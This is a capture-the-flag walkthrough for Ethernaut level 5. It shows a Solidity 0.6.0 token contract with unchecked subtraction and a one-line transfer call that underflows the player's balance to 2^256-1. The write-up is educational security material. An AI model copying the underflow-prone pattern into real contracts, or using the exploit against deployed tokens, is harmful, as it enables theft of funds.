This is the level 5 of Ethernaut game.
Pre-requisites
- Integer overflow/underflow in Solidity
v0.6.0
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
player
is initially assigned 20 tokens i.e. balances[player] = 20
and has to somehow get any additional tokens (so that balances[player] > 20
).
The transfer
method of Token
performs some unchecked arithmetic operations on uint256
(uint
is shorthand for uint256
in solidity) integers. That is prone to underflow.
The max value of a 256 bit unsigned integer can represent is 2^256 − 1
, which is -
115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935
Hence uint256
can only comprise values from 0
to 2^256 - 1
only. Any addition/subtraction would cause overflow/underflow. For example:
Let M = 2^256 - 1 (max value of uint256)
0 - 1 = M
M + 1 = 0
20 - 21 = M
(All numbers are 256-bit unsigned integers)
We're going to use last expression from example above to exploit the contract.
Let's call transfer
with a zero address (or any address other than player
) as _to
and 21 as _value
to transfer.
await contract.transfer('0x0000000000000000000000000000000000000000', 21)
Here's how arithmetics of function would go:
The require
check below would evaluate to true.
require(balances[msg.sender] - _value >= 0);
Because balances[msg.sender] = 20
and _value = 21
, hence
balances[msg.sender] - _value = 2^256 - 1 >= 0
due to underflow.
Next statement deducts _value
amount from player
address. At this point balances[msg.sender] = 20
and _value = 21
. Again an underflow:
balances[msg.sender] -= _value;
is same as
balances[msg.sender] = balances[msg.sender] - _value;
And so,
balances[msg.sender] = 20 - 21 = 2^256 - 1
Whoa! now the player
(or msg.sender
) has balances[msg.sender]
= 2^256 - 1
number of tokens!!!
Last statement just sets balance of a zero address to _value
i.e. 21, which we couldn't care less about.
And that's it! player
has acquired humongous no. of tokens, even way way way more than totalSupply
. Verify by:
await contract.balanceOf(player).then(v => v.toString())
// Output: '115792089237316195423570985008687907853269984665640564039457584007913129639935'
A nice thing to note is that it worked because contract's compiler version is v0.6.0
. This, most probably, won't work for latest version (v0.8.0
as of writing) because underflow/overflow causes failing assertion by default in latest version.
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (0)